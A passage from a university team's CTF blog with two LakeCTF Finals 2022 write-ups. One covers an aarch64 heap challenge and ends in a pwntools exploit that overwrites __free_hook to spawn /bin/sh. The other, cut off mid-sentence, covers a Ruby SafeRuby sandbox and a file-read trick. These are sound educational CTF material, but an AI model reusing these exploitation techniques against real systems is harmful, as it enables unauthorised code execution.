setvbuf(stdout,NULL,2,0); setvbuf(stderr,NULL,2,0); urandom_fd = fopen(\u0026#34;/dev/urandom\u0026#34;,\u0026#34;r\u0026#34;); heap_addr_ref = (ulong *)mmap(NULL,0x1000,3,0x22,0,0); mem_p_1 = heap_addr_ref + 1; ulong* local_4e38 = heap_addr_ref; FILE* postal_codes_fd = fopen(\u0026#34;postal_codes\u0026#34;,\u0026#34;r\u0026#34;); do { __isoc99_fscanf(postal_codes_fd,\u0026#34;%p-%p %2000[^\\n]\u0026#34;,\u0026amp;section_start,\u0026amp;section_end,section_name); if (*heap_addr_ref \u0026lt; section_end) { *heap_addr_ref = section_end; } found = strstr(section_name,\u0026#34;[heap]\u0026#34;); } while (found == NULL); puts(\u0026#34;Welcome to the Swiss post office\u0026#34;); puts(\u0026#34;Our famous privacy policies encrypt (and sign!) the destination of every packet\u0026#34;); puts(\u0026#34;How can we help you?\u0026#34;); main2(); if (local_8 - __stack_chk_guard == 0) { return 0; } // WARNING: Subroutine does not return __stack_chk_fail(\u0026amp;__stack_chk_guard,0,local_8 - __stack_chk_guard,0); } From README.md, there is a symlink between /proc/self/maps and /app/postal_codes. Thus, the above code seems to be reading the memory map entries of the currently running process (given in /proc/self/maps) to parse the max address of the heap section.\nThen main2 is called:\nvoid main2(void) { while (true) { puts(\u0026#34;1. Send a package\u0026#34;); puts(\u0026#34;2. Report a lost package\u0026#34;); puts(\u0026#34;3. List outgoing packages\u0026#34;); puts(\u0026#34;4. Set address of outgoing package\u0026#34;); puts(\u0026#34;5. Check if a package is arrived\u0026#34;); puts(\u0026#34;6. Exit\u0026#34;); puts(\u0026#34;7. Get angry because you don\\\u0026#39;t have an aarch64 machine available\u0026#34;); puts(\u0026#34;8. Complain because this menu is too long\u0026#34;); putchar(10); int opt = read_int(opt); switch(opt) { case 1: send_package(); break; case 2: report_lost_package(); break; case 3: list_packages(); break; case 4: set_address_package(); break; case 5: check_package_arrival(); break; case 6: exit(0); break; case 7: useless(); break; case 8: useless2(); break; default: puts(\u0026#34;Vouz parlez franchoise?\u0026#34;); } } } useless and useless2 print some text and call exit(0), so I\u0026rsquo;m leaving this part out. We have 5 legitimate options excluding exit.\nsend_package void send_package(void) { if (packages_len \u0026lt; 0x14) { package* pkg = (package *)malloc(0x18); long idx = (long)packages_len; packages_len = packages_len + 1; packages[idx] = pkg; char* address = (char *)malloc(0x18); puts(\u0026#34;Please enter your destination address:\u0026#34;); fgets(address,0x18,stdin); pkg-\u0026gt;address = address; fread(\u0026amp;pkg-\u0026gt;urandom_num,1,4,urandom_fd); address = (char *)pointer_auth_tech(print_pkg_arrival,pkg-\u0026gt;urandom_num); pkg-\u0026gt;pointer_auth = address; pkg-\u0026gt;idx = packages_len + -1; } else puts(\u0026#34;Sorry, we are swiss but we can\\\u0026#39;t handle so many packages\u0026#34;); } We can allocate upto 0x14 = 20 packages. I have defined each package as below:\nstruct package { // pointer to 0x18-long malloc\u0026#39;ed char array char[0x18]* address; // 0x00 int idx; // 0x08 int urandom_num // 0x0C void* pointer_auth // 0x10 } // 0x18 bytes long The only input is the 0x18-bytes long package address. There is a very weird calculation in pointer_auth_tech:\nulong pointer_auth_tech(void* fnaddr, int num) { ulong uVar1 = pacga(fnaddr, num); return fnaddr ^ uVar1 \u0026amp; const_FFFF000000000000; } where pacga is a ARM64 instruction related to Pointer Authentication Code. Seems like a function pointer is \u0026lsquo;protected\u0026rsquo; by pointer authentication using a random seed from /dev/urandom.\nThe function pointer is initially set to print_pkg_arrival:\nint print_pkg_arrival(char* arg) { return printf(\u0026#34;The package has arrived to: %s!\\n\u0026#34;,arg); } report_lost_package void report_lost_package(void) { puts(\u0026#34;Which package did you lose?\u0026#34;); int idx = read_int(idx); // BUG: UaF, also no bounds check free(packages[idx]-\u0026gt;address); if ((idx \u0026lt; 0x12) \u0026amp;\u0026amp; (-1 \u0026lt; idx)) { free(packages[idx]); packages[idx] = NULL; } else puts(\u0026#34;You definitely did not.\u0026#34;); } We have a Use-After-Free when we provide an index not lesser than 0x12, which frees the package address at that index but does not remove the package from the packages array. This leaves us with a package with dangling reference to freed memory, which we can use (Use-After-Free).\nFurthermore, the index can be negative. So we can free the address of a supposed package that is before the packages array.\nlist_packages void list_packages(void) { puts(\u0026#34;---\u0026#34;); uint state = 0; for (int i = 0; i \u0026lt; packages_len; i = i + 1) { printf(\u0026#34;Address: %s\u0026#34;,packages[i]-\u0026gt;address); printf(\u0026#34;id: %d\\n\u0026#34;,(ulong)(uint)packages[i]-\u0026gt;idx); void* cb = undo_pacga(packages[i]-\u0026gt;pointer_auth, packages[i]-\u0026gt;urandom_num); printf(\u0026#34;callback: %p\\n\u0026#34;, cb); void* pointer = packages[i]-\u0026gt;pointer_auth; void* pac = pointer_auth_tech( (ulong)packages[i]-\u0026gt;pointer_auth \u0026amp; ~const_FFFF000000000000, packages[i]-\u0026gt;urandom_num); state = some_crc32_thing(state, pointer ^ pac); puts(\u0026#34;---\u0026#34;); } printf(\u0026#34;Error state: %x\\n\u0026#34;, state); } Here we can see that we have an base address leak since the address of the callback is printed out, which is initially set the print_pkg_arrival. There also seems to be some calculation involving the pointer authentication that I thought involved CRC32 calculations due to the use of 0xedb88320.\nuint some_crc32_thing(uint prev_state, ulong arg) { uint n = ~prev_state; for (uint i = 0; (int)i \u0026lt; 8; i = i + 1) { n = n ^ (uint)((long)((long)(0xff \u0026lt;\u0026lt; (ulong)((i \u0026amp; 3) \u0026lt;\u0026lt; 3)) \u0026amp; arg) \u0026gt;\u0026gt; ((ulong)(i \u0026lt;\u0026lt; 3) \u0026amp; 0x3f)); for (uint b = 7; -1 \u0026lt; b; b = b + -1) { n = n \u0026gt;\u0026gt; 1 ^ -(n \u0026amp; 1) \u0026amp; 0xedb88320; } } return ~n; } set_address_package void set_address_package(void) { puts(\u0026#34;Which package do you want to edit?\u0026#34;); // BUG: no bounds check int idx = read_int(idx); puts(\u0026#34;Please enter the new address:\u0026#34;); if (*heap_addr_ref \u0026lt; packages[idx]-\u0026gt;address) { puts(\u0026#34;This address is not in Switzerland!\u0026#34;); exit(0); } int read = fread(packages[idx]-\u0026gt;address,1,0x18,stdin); printf(\u0026#34;read %d bytes\\n\u0026#34;, read); printf(\u0026#34;New address: %s\\n\u0026#34;,packages[idx]-\u0026gt;address); void* cb = undo_pacga(packages[idx]-\u0026gt;pointer_auth, packages[idx]-\u0026gt;urandom_num); printf(\u0026#34;New callback: %p\\n\u0026#34;, cb); } This function from the lack of bounds check as well. Interestingly enough, it prints the callback even though it was never changed (this is for the intended solution).\ncheck_package_arrival void check_package_arrival(void) { puts(\u0026#34;Which package do you want to check?\u0026#34;); int idx = read_int(); void* cb = undo_pacga(packages[idx]-\u0026gt;pointer_auth, packages[idx]-\u0026gt;urandom_num); (cb)(packages[idx]-\u0026gt;address); } This method calls the callback that was set with the address of the package as the argument. Again, same lack of bounds check applies here. Sadly, undo_pacga returns a address only if it was protected by pointer authentication, or it returns 0 (which causes segfault when executed).\nulong undo_pacga(void* pointer, ulong urandom_num) { ulong ret = pointer ^ pointer \u0026amp; const_FFFF000000000000; ulong check = pacga(ret, urandom_num); if ((check \u0026amp; const_FFFF000000000000) != (pointer \u0026amp; const_FFFF000000000000)) { ret = 0; } return ret; } Exploitation We have 3 out-of-bounds vuln which treat parts of the .data as a package*, and one UaF.\nInitially, I was trying to use the UaF to corrupt a package and write my own function pointer there to get it executed (after bypassing PAC). I believe this to be the intended solution by the author.\nHowever, while trying to do this, I realized that there was a easier way to approach the problem.\nArbitrary Write In every binary compiled by GCC, there exists an address in the .data section that points to itself. That is, the value at the address is the address itself.\nThis also happens to be before the packages array:\nIf we provide (0x113008-0x113040) / sizeof(package*) as the index to set_address_package, it will treat this self-loop address as a package*. It will get the address pointer, which is at package-\u0026gt;address = package[0] as the address is the first element of package. This, of course, is the self-loop address again. Then, we can write 0x18 bytes to this address. Note that there is a *heap_addr_ref \u0026lt; package[i]-\u0026gt;address check, which does not get triggered since the heap is after the base of the program.\nThis allows us to gain control over some memory in the .data section. However, just this is enough to get an arbitrary write primitive! We can setup our write to do the following (right side is the \u0026rsquo;effect\u0026rsquo;):\nNow if we treat (0x113010-0x113040) / sizeof(package*) (the pointer after the self-loop) as a package*, it\u0026rsquo;s set up as below:\nSince we are writing to address, we now have arbitrary write using set_address_package when targetting this index. Furthermore, since the self-loop still points to itself afterwards, we can use this arbwrite as many times as we want.\nLibc Leak There is no fancy win function in the binary itself, so we must leak a libc address to get us going.\nSince we have arbitrary write and know the base address, we can overwrite packages[0..3] to a forged package, whose address is pointing to an address we want to leak e.g. printf.got. Running list_packages will then leak out the bytes we want.\nGetting command execution With a libc address and base address known, one would normally overwrite the GOT section to gain command execution, but here it\u0026rsquo;s protected by full RELRO and is not writable.\nWe can try to overwrite __free_hook instead but we are blocked by the *heap_addr_ref check. But of course, since we have arb write, we can just overwrite this as well. Our aim will be to get free called in report_lost, and we provide the index of a package with address set to /bin/sh to get system(\u0026quot;/bin/sh\u0026quot;) executed.\nFinal Script The overwriting of heap_addr_ref is combined with creation of a forged package, but the rest are as above.\nfrom pwn import * #p = remote(\u0026#34;localhost\u0026#34;, \u0026#34;3700\u0026#34;) p = remote(\u0026#34;chall.polygl0ts.ch\u0026#34;, 3700) def send_package(address): p.sendlineafter(\u0026#34;menu is too long\u0026#34;, \u0026#34;1\u0026#34;) p.sendlineafter(\u0026#34;address:\u0026#34;, address) def report_lost(idx): p.sendlineafter(\u0026#34;menu is too long\u0026#34;, \u0026#34;2\u0026#34;) p.sendlineafter(\u0026#34;lose?\u0026#34;, str(idx)) def list_packages(): p.sendlineafter(\u0026#34;menu is too long\u0026#34;, \u0026#34;3\u0026#34;) pkgs = [] while True: if b\u0026#34;Error\u0026#34; in p.recvuntil((\u0026#34;Error\u0026#34;, \u0026#34;Address\u0026#34;)): p.recvuntil(\u0026#34;: \u0026#34;) error_state = int(p.recvline()[:-1], 16) break p.recvuntil(\u0026#34;: \u0026#34;) address = p.recvuntil(\u0026#34;id: \u0026#34;, drop=True) id = p.recvline()[:-1] p.recvuntil(\u0026#34;callback: \u0026#34;) cb = p.recvline()[:-1] if cb == b\u0026#39;(nil)\u0026#39;: cb = 0 else: cb = int(cb, 16) p.recvuntil(\u0026#34;---\u0026#34;) pkgs.append((address, id, cb)) return pkgs, error_state def set_address(idx, address): p.sendlineafter(\u0026#34;menu is too long\u0026#34;, \u0026#34;4\u0026#34;) p.sendlineafter(\u0026#34;edit?\u0026#34;, str(idx)) p.sendafter(\u0026#34;address:\u0026#34;, address) send_package(str(0)) pkgs, _ = list_packages() base = pkgs[0][2] - 0xedc info(f\u0026#34;{ hex(base) = }\u0026#34;) # just create some packages for i in range(1, 7): send_package(b\u0026#34;/bin/sh\\x00\u0026#34;) def arbwrite(where, what): set_address(-(0x113048 - 0x113008)//8, p64(base + 0x13008) + p64(base + 0x13018) + p64(where)) set_address(-(0x113048 - 0x113010)//8, what) libc = ELF(\u0026#34;./libc.so.6\u0026#34;) # Overwrite heap_addr_ref to point to base+0x13030, which contains 0xfffff.... # Also put the address of printf.got here so that we can use it as a forged package. arbwrite(base + 0x13028, p64(base + 0x13030) + p64(0xffffffffffffffff) + p64(base + 0x12f78)) # printf.got @ +0x13038 # Write the address of the forged package as the packages of the first 3 elements in the packages array arbwrite(base + 0x13048, p64(base + 0x13038) * 3) # Leak out libc pkgs, _ = list_packages() leak = u64(pkgs[0][0].ljust(8, b\u0026#39;\\0\u0026#39;)) info(f\u0026#34;{ hex(leak) = }\u0026#34;) libc.address = leak - libc.symbols.printf success(f\u0026#34;{hex(libc.address) = }\u0026#34;) arbwrite(libc.symbols.__free_hook, p64(libc.symbols.system)*3) report_lost(4) # calls free(package[4]-\u0026gt;address), so system(\u0026#34;/bin/sh\u0026#34;) after the __free_hook overwrite p.interactive() ","permalink":"https://nusgreyhats.org/posts/writeups/lakectf-finals-2022-paccheri/","summary":"paccheri I played LakeCTF Finals 2022 with my team NUS Greyhats (in Switzerland!). We managed to get first blood on both pwn challenges (i hate french and paccheri). This writeup will be for paccheri since i hate french was solved by 9 out of 10 teams.\nThis challenge was solved the unintended way, which is becoming a usual situation for me.\nRunning checksec, we get:\n[*] \u0026#39;~/ctfs/lakefinals22/paccheri/paccheri\u0026#39; Arch: aarch64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Hmm, interesting to see that we have a aarch64 challenge.","title":"[LakeCTF Finals 2022] paccheri"},{"content":"LakeCTF Finals Last weekend was LakeCTF finals. This was my first time participating in a CTF finals overseas and had lots of fun!\nThis is a writeup for the Web: Calc-You-Later challenge which was solved together by Devesh and I from NUS Greyhats.\nThis is an adaptation from the original post here\nChallenge Description Calc-You-Later, alligator. Call /getflag and follow the instructions http://chall.polygl0ts.ch:4600 It also provides a link to the source code of the challenge which is provided here.\nInitial Thoughts The zip file contains a source repository containing the source code of the challenge. The challenge is a simple web application that allows users to perform calculations.\nThe steps below outlined how we approached the challenge.\nDockerfile After that, we looked at the dockerfile of the challenge.\nFROM ruby:3.1.2 COPY src/ /app COPY master.key /app/config/master.key COPY flag secret getflag / RUN chmod 4511 /getflag \u0026amp;\u0026amp; chmod 400 /flag /secret WORKDIR /app ENV RAILS_ENV=production RUN bin/bundle RUN bin/rails db:prepare \u0026amp;\u0026amp; bin/rake assets:precompile RUN chmod -R 755 /app \u0026amp;\u0026amp; chown -R root:root /app RUN useradd rails \u0026amp;\u0026amp; chown -R rails /app/tmp \u0026amp;\u0026amp; chmod -R o+w /app/log \u0026amp;\u0026amp; chown rails /app/db /app/db/production.sqlite3 USER rails CMD [\u0026#34;bin/rails\u0026#34;, \u0026#34;server\u0026#34;, \u0026#34;-b\u0026#34;, \u0026#34;0\u0026#34;, \u0026#34;-e\u0026#34;, \u0026#34;production\u0026#34;] Let us walk through what the dockerfile does.\nUses Ruby 3.1.2 as the base image Copies the source code into the container Copies the master.key file into /app/config/master.key Copies flag, secret and getflag into the root directory Changes the permissions of getflag to 4511. Owner: Read, Execute, Group: Execute, Others: Execute, With recursion and setguid This means that when others execute the code, they will have the temporarily uid of the owner. Change the permissions of flag and secret to 400 Owner: Read Sets the working directory to /app Sent environment to production Ruby compile stuff Add rails user and change permission to allow rails user to access various directories. Run the rails server Another point to note: the dockerfile indicates the presence of the following files which were not included in the zip:\nmaster.key credentials.yml.enc getflag flag secret Directory Structure of the code The directory looks something like this:\n/ ├── tmp ├── app │ ├── tmp │ ├── log │ ├── db │ ├── ... # Other files │ └── config │ ├── credentials.yml.enc | └── master.key ├── getflag ├── flag ├── secret └── ... # Other unrevelent files Setting up the environment As there are many files which were not provided to us during the CTF challenge, we found outselves unable to run the dockerfile directly.\nIn order to test it in our local enironment, we have to either recreate the file or modify the dockerfile.\nFor most of the file we decided to use empty files to replace them. However, for the credentials.yml.enc file, we decided to not use it and remove the dockerfile line that uses it.\nThe revised dockerfile is as follows:\nFROM ruby:3.1.2 COPY src/ /app # COPY master.key /app/config/master.key # Not used COPY flag secret getflag / RUN chmod 4511 /getflag \u0026amp;\u0026amp; chmod 400 /flag /secret WORKDIR /app ENV RAILS_ENV=production RUN bin/bundle # Line added RUN EDITOR=vim bin/rails credentials:edit RUN bin/rails db:prepare \u0026amp;\u0026amp; bin/rake assets:precompile RUN chmod -R 755 /app \u0026amp;\u0026amp; chown -R root:root /app RUN useradd rails \u0026amp;\u0026amp; chown -R rails /app/tmp \u0026amp;\u0026amp; chmod -R o+w /app/log \u0026amp;\u0026amp; chown rails /app/db /app/db/production.sqlite3 USER rails CMD [\u0026#34;bin/rails\u0026#34;, \u0026#34;server\u0026#34;, \u0026#34;-b\u0026#34;, \u0026#34;0\u0026#34;, \u0026#34;-e\u0026#34;, \u0026#34;production\u0026#34;] With the dockerfile below, we can now build the dockerfile and run it locally.\nLooking at the source code After making the dockerfile work, we looked at the source code. The first section which we inspected was the application controllers.\nThere were 2 main controllers which were used by the application.\nUser controller class UserController \u0026lt; ApplicationController def index end def login user = User.find_by(username: params[:username]) if user == nil then user = User.new(username: params[:username], password: params[:password]) user.save puts \u0026#34;Create user #{user.username}\u0026#34; end if user.password == params[:password] then puts \u0026#34;Logged in user #{user.username}\u0026#34; session[:user] = user.username redirect_to controller: :home, action: :index else puts \u0026#34;Failed login for #{user.username}\u0026#34; render :index end end end This controller does the following:\nTakes in the username and password from the user If the user does not exist, create a new user If the password is equal to the one in the database, allow the user to login Otherwise, throw a login error. Home controller class HomeController \u0026lt; ApplicationController def index redirect_to controller: :user, action: :index unless session[:user] @user = User.find_by(username: session[:user]) @results = Result.where(user: @user).order(created_at: :desc).limit(10) end def post redirect_to controller: :user, action: :index unless session[:user] @user = User.find_by(username: session[:user]) CalcJob.set(wait: 1.minutes).perform_later(params[:program], @user) redirect_to action: :index end end The code here is more interesting. The top function shows the homepage of the user and gets the last 10 results of the user. The bottom function takes in the user input and passes it to the CalcJob function.\nHowever, the program waits for 1 minute before the CalcJob function is actually called.\nIn order to make debugging faster for us, we removed the 1 minute timer in the source code.\nAfter going through all of these, the next logical step was to look at the CalcJob function.\nCalcJob Under the Jobs section, we manage to found the CalcJob source code. It performs only 1 job, run the program in SafeRuby and save the result to the database.\nrequire \u0026#34;safe_ruby\u0026#34; class CalcJob \u0026lt; ApplicationJob queue_as :default def perform(program, user) res = SafeRuby.eval(program) print(\u0026#34;Running program\u0026#34;, program) Result.new(result: res.to_s, user: user).save end end The SafeRuby class is a class which is used to run the program in a sandboxed environment. It is a class which is provided by the safe_ruby gem. We then went to the github page of the gem to see how it works.\nFrom the above, we can see that we are able to read all the files except for this which have permission bits set to 400.\n/ ├── tmp ├── app │ ├── tmp │ ├── log │ ├── db │ ├── ... # Other files │ └── config │ ├── credentials.yml.enc | └── master.key ├── getflag # (Executable by us) ├── flag # (Not readable by us) ├── secret # (Not readable by us) └── ... # Other unrevelent files SafeRuby We spent a while looking at how the SafeRuby source code works. It turns out that it writes a ruby file to another location before running it.\nBefore the application actually runs the program, there are some built in functions which the code removes before it actually executes the user defined code.\nTo find out how it actually works, we will have to take a deeper dive at what program it produces when we key in a code of our own.\nThis is the code generated by SafeRuby. It is a ruby file which is written to the /tmp directory. The code is then executed by the ruby command.\nAfter the execution of the code, ruby deletes the tmp file. In order for use to actually get the file, we will have to hit the timeout of 5s to stop the process before the file is actually deleted.\ndef keep_singleton_methods(klass, singleton_methods) klass = Object.const_get(klass) singleton_methods = singleton_methods.map(\u0026amp;:to_sym) undef_methods = (klass.singleton_methods - singleton_methods) undef_methods.each do |method| klass.singleton_class.send(:undef_method, method) end end def keep_methods(klass, methods) klass = Object.const_get(klass) methods = methods.map(\u0026amp;:to_sym) undef_methods = (klass.methods(false) - methods) undef_methods.each do |method| klass.send(:undef_method, method) end end def clean_constants (Object.constants - [:Object, :Module, :Class, :BasicObject, :Kernel, :NilClass, :NIL, :Data, :TrueClass, :TRUE, :FalseClass, :FALSE, :Encoding, :Comparable, :Enumerable, :String, :Symbol, :Exception, :SystemExit, :SignalException, :Interrupt, :StandardError, :TypeError, :ArgumentError, :IndexError, :KeyError, :RangeError, :ScriptError, :SyntaxError, :LoadError, :NotImplementedError, :NameError, :NoMethodError, :RuntimeError, :SecurityError, :NoMemoryError, :EncodingError, :SystemCallError, :Errno, :ZeroDivisionError, :FloatDomainError, :Numeric, :Integer, :Fixnum, :Float, :Bignum, :Array, :Hash, :Struct, :RegexpError, :Regexp, :MatchData, :Marshal, :Range, :IOError, :EOFError, :IO, :STDIN, :STDOUT, :STDERR, :Time, :Random, :Signal, :Proc, :LocalJumpError, :SystemStackError, :Method, :UnboundMethod, :Binding, :Math, :Enumerator, :StopIteration, :RubyVM, :Thread, :TOPLEVEL_BINDING, :ThreadGroup, :Mutex, :ThreadError, :Fiber, :FiberError, :Rational, :Complex, :RUBY_VERSION, :RUBY_RELEASE_DATE, :RUBY_PLATFORM, :RUBY_PATCHLEVEL, :RUBY_REVISION, :RUBY_DESCRIPTION, :RUBY_COPYRIGHT, :RUBY_ENGINE, :TracePoint, :ARGV, :Gem, :RbConfig, :Config, :CROSS_COMPILING, :Date, :ConditionVariable, :Queue, :SizedQueue, :MonitorMixin, :Monitor, :Exception2MessageMapper, :IRB, :RubyToken, :RubyLex, :Readline, :RUBYGEMS_ACTIVATION_MONITOR]).each do |const| Object.send(:remove_const, const) if defined?(const) end end keep_singleton_methods(:Kernel, [\u0026#34;Array\u0026#34;, \u0026#34;binding\u0026#34;, \u0026#34;block_given?\u0026#34;, \u0026#34;catch\u0026#34;, \u0026#34;chomp\u0026#34;, \u0026#34;chomp!\u0026#34;, \u0026#34;chop\u0026#34;, \u0026#34;chop!\u0026#34;, \u0026#34;eval\u0026#34;, \u0026#34;fail\u0026#34;, \u0026#34;Float\u0026#34;, \u0026#34;format\u0026#34;, \u0026#34;global_variables\u0026#34;, \u0026#34;gsub\u0026#34;, \u0026#34;gsub!\u0026#34;, \u0026#34;Integer\u0026#34;, \u0026#34;iterator?\u0026#34;, \u0026#34;lambda\u0026#34;, \u0026#34;local_variables\u0026#34;, \u0026#34;loop\u0026#34;, \u0026#34;method_missing\u0026#34;, \u0026#34;proc\u0026#34;, \u0026#34;raise\u0026#34;, \u0026#34;scan\u0026#34;, \u0026#34;split\u0026#34;, \u0026#34;sprintf\u0026#34;, \u0026#34;String\u0026#34;, \u0026#34;sub\u0026#34;, \u0026#34;sub!\u0026#34;, \u0026#34;throw\u0026#34;]) keep_singleton_methods(:Symbol, [\u0026#34;all_symbols\u0026#34;]) keep_singleton_methods(:String, [\u0026#34;new\u0026#34;]) keep_singleton_methods(:IO, [\u0026#34;new\u0026#34;, \u0026#34;foreach\u0026#34;, \u0026#34;open\u0026#34;]) keep_methods(:Kernel, [\u0026#34;==\u0026#34;, \u0026#34;ray\u0026#34;, \u0026#34;nding\u0026#34;, \u0026#34;ock_given?\u0026#34;, \u0026#34;tch\u0026#34;, \u0026#34;omp\u0026#34;, \u0026#34;omp!\u0026#34;, \u0026#34;op\u0026#34;, \u0026#34;op!\u0026#34;, \u0026#34;ass\u0026#34;, \u0026#34;clone\u0026#34;, \u0026#34;dup\u0026#34;, \u0026#34;eql?\u0026#34;, \u0026#34;equal?\u0026#34;, \u0026#34;eval\u0026#34;, \u0026#34;fail\u0026#34;, \u0026#34;Float\u0026#34;, \u0026#34;format\u0026#34;, \u0026#34;freeze\u0026#34;, \u0026#34;frozen?\u0026#34;, \u0026#34;global_variables\u0026#34;, \u0026#34;gsub\u0026#34;, \u0026#34;gsub!\u0026#34;, \u0026#34;hash\u0026#34;, \u0026#34;id\u0026#34;, \u0026#34;initialize_copy\u0026#34;, \u0026#34;inspect\u0026#34;, \u0026#34;instance_eval\u0026#34;, \u0026#34;instance_of?\u0026#34;, \u0026#34;instance_variables\u0026#34;, \u0026#34;instance_variable_get\u0026#34;, \u0026#34;instance_variable_set\u0026#34;, \u0026#34;instance_variable_defined?\u0026#34;, \u0026#34;Integer\u0026#34;, \u0026#34;is_a?\u0026#34;, \u0026#34;iterator?\u0026#34;, \u0026#34;kind_of?\u0026#34;, \u0026#34;lambda\u0026#34;, \u0026#34;local_variables\u0026#34;, \u0026#34;loop\u0026#34;, \u0026#34;methods\u0026#34;, \u0026#34;method_missing\u0026#34;, \u0026#34;nil?\u0026#34;, \u0026#34;private_methods\u0026#34;, \u0026#34;print\u0026#34;, \u0026#34;proc\u0026#34;, \u0026#34;protected_methods\u0026#34;, \u0026#34;public_methods\u0026#34;, \u0026#34;raise\u0026#34;, \u0026#34;remove_instance_variable\u0026#34;, \u0026#34;respond_to?\u0026#34;, \u0026#34;respond_to_missing?\u0026#34;, \u0026#34;scan\u0026#34;, \u0026#34;send\u0026#34;, \u0026#34;singleton_methods\u0026#34;, \u0026#34;singleton_method_added\u0026#34;, \u0026#34;singleton_method_removed\u0026#34;, \u0026#34;singleton_method_undefined\u0026#34;, \u0026#34;split\u0026#34;, \u0026#34;sprintf\u0026#34;, \u0026#34;String\u0026#34;, \u0026#34;sub\u0026#34;, \u0026#34;sub!\u0026#34;, \u0026#34;taint\u0026#34;, \u0026#34;tainted?\u0026#34;, \u0026#34;throw\u0026#34;, \u0026#34;to_a\u0026#34;, \u0026#34;to_s\u0026#34;, \u0026#34;type\u0026#34;, \u0026#34;untaint\u0026#34;, \u0026#34;__send__\u0026#34;]) keep_methods(:NilClass, [\u0026#34;\u0026amp;\u0026#34;, \u0026#34;inspect\u0026#34;, \u0026#34;nil?\u0026#34;, \u0026#34;to_a\u0026#34;, \u0026#34;to_f\u0026#34;, \u0026#34;to_i\u0026#34;, \u0026#34;to_s\u0026#34;, \u0026#34;^\u0026#34;, \u0026#34;|\u0026#34;]) keep_methods(:TrueClass, [\u0026#34;\u0026amp;\u0026#34;, \u0026#34;to_s\u0026#34;, \u0026#34;^\u0026#34;, \u0026#34;|\u0026#34;]) keep_methods(:FalseClass, [\u0026#34;\u0026amp;\u0026#34;, \u0026#34;to_s\u0026#34;, \u0026#34;^\u0026#34;, \u0026#34;|\u0026#34;]) keep_methods(:Enumerable, [\u0026#34;all?\u0026#34;, \u0026#34;any?\u0026#34;, \u0026#34;collect\u0026#34;, \u0026#34;detect\u0026#34;, \u0026#34;each_with_index\u0026#34;, \u0026#34;entries\u0026#34;, \u0026#34;find\u0026#34;, \u0026#34;find_all\u0026#34;, \u0026#34;grep\u0026#34;, \u0026#34;include?\u0026#34;, \u0026#34;inject\u0026#34;, \u0026#34;map\u0026#34;, \u0026#34;max\u0026#34;, \u0026#34;member?\u0026#34;, \u0026#34;min\u0026#34;, \u0026#34;partition\u0026#34;, \u0026#34;reject\u0026#34;, \u0026#34;select\u0026#34;, \u0026#34;sort\u0026#34;, \u0026#34;sort_by\u0026#34;, \u0026#34;to_a\u0026#34;, \u0026#34;zip\u0026#34;]) keep_methods(:String, [\u0026#34;%\u0026#34;, \u0026#34;*\u0026#34;, \u0026#34;+\u0026#34;, \u0026#34;\u0026lt;\u0026lt;\u0026#34;, \u0026#34;\u0026lt;=\u0026gt;\u0026#34;, \u0026#34;==\u0026#34;, \u0026#34;=~\u0026#34;, \u0026#34;capitalize\u0026#34;, \u0026#34;capitalize!\u0026#34;, \u0026#34;casecmp\u0026#34;, \u0026#34;center\u0026#34;, \u0026#34;chomp\u0026#34;, \u0026#34;chomp!\u0026#34;, \u0026#34;chop\u0026#34;, \u0026#34;chop!\u0026#34;, \u0026#34;concat\u0026#34;, \u0026#34;count\u0026#34;, \u0026#34;crypt\u0026#34;, \u0026#34;delete\u0026#34;, \u0026#34;delete!\u0026#34;, \u0026#34;downcase\u0026#34;, \u0026#34;downcase!\u0026#34;, \u0026#34;dump\u0026#34;, \u0026#34;each\u0026#34;, \u0026#34;each_byte\u0026#34;, \u0026#34;each_line\u0026#34;, \u0026#34;empty?\u0026#34;, \u0026#34;eql?\u0026#34;, \u0026#34;gsub\u0026#34;, \u0026#34;gsub!\u0026#34;, \u0026#34;hash\u0026#34;, \u0026#34;hex\u0026#34;, \u0026#34;include?\u0026#34;, \u0026#34;index\u0026#34;, \u0026#34;initialize\u0026#34;, \u0026#34;initialize_copy\u0026#34;, \u0026#34;insert\u0026#34;, \u0026#34;inspect\u0026#34;, \u0026#34;intern\u0026#34;, \u0026#34;length\u0026#34;, \u0026#34;ljust\u0026#34;, \u0026#34;lines\u0026#34;, \u0026#34;lstrip\u0026#34;, \u0026#34;lstrip!\u0026#34;, \u0026#34;match\u0026#34;, \u0026#34;next\u0026#34;, \u0026#34;next!\u0026#34;, \u0026#34;oct\u0026#34;, \u0026#34;replace\u0026#34;, \u0026#34;reverse\u0026#34;, \u0026#34;reverse!\u0026#34;, \u0026#34;rindex\u0026#34;, \u0026#34;rjust\u0026#34;, \u0026#34;rstrip\u0026#34;, \u0026#34;rstrip!\u0026#34;, \u0026#34;scan\u0026#34;, \u0026#34;size\u0026#34;, \u0026#34;slice\u0026#34;, \u0026#34;slice!\u0026#34;, \u0026#34;split\u0026#34;, \u0026#34;squeeze\u0026#34;, \u0026#34;squeeze!\u0026#34;, \u0026#34;strip\u0026#34;, \u0026#34;strip!\u0026#34;, \u0026#34;start_with?\u0026#34;, \u0026#34;sub\u0026#34;, \u0026#34;sub!\u0026#34;, \u0026#34;succ\u0026#34;, \u0026#34;succ!\u0026#34;, \u0026#34;sum\u0026#34;, \u0026#34;swapcase\u0026#34;, \u0026#34;swapcase!\u0026#34;, \u0026#34;to_f\u0026#34;, \u0026#34;to_i\u0026#34;, \u0026#34;to_s\u0026#34;, \u0026#34;to_str\u0026#34;, \u0026#34;to_sym\u0026#34;, \u0026#34;tr\u0026#34;, \u0026#34;tr!\u0026#34;, \u0026#34;tr_s\u0026#34;, \u0026#34;tr_s!\u0026#34;, \u0026#34;upcase\u0026#34;, \u0026#34;upcase!\u0026#34;, \u0026#34;upto\u0026#34;, \u0026#34;[]\u0026#34;, \u0026#34;[]=\u0026#34;]) Kernel.class_eval do def `(*args) raise NoMethodError, \u0026#34;` is unavailable\u0026#34; end def system(*args) raise NoMethodError, \u0026#34;system is unavailable\u0026#34; end end clean_constants result = eval(%q(1 + 1;sleep(5);)) print Marshal.dump(result) As seen above, there is a long list of functions which are blocked by the SafeRuby class. This is to prevent the user from executing malicious code.\nFinding vulnerable functions Now that we know what functions are available to us, we can start to look for functions which we can use to exploit the application.\nWhile we were doing the sections above, we stumbled across a website which contained a similar challenge.\nIn the case above, the user made use of the unblacklisted open function to read the contents of a file. Thus, we decided to do the same thing to read the files which were not provided to us.\nFunction that we used.\nopen(\u0026#39;filename\u0026#39;, \u0026amp;:read) As we did not have permission to read flag.txt, we will have to find a way to execute getflag in order to get the flag.\nFinding a way to execute code After digging through a lot of documentation, we stumbled upon Kernel 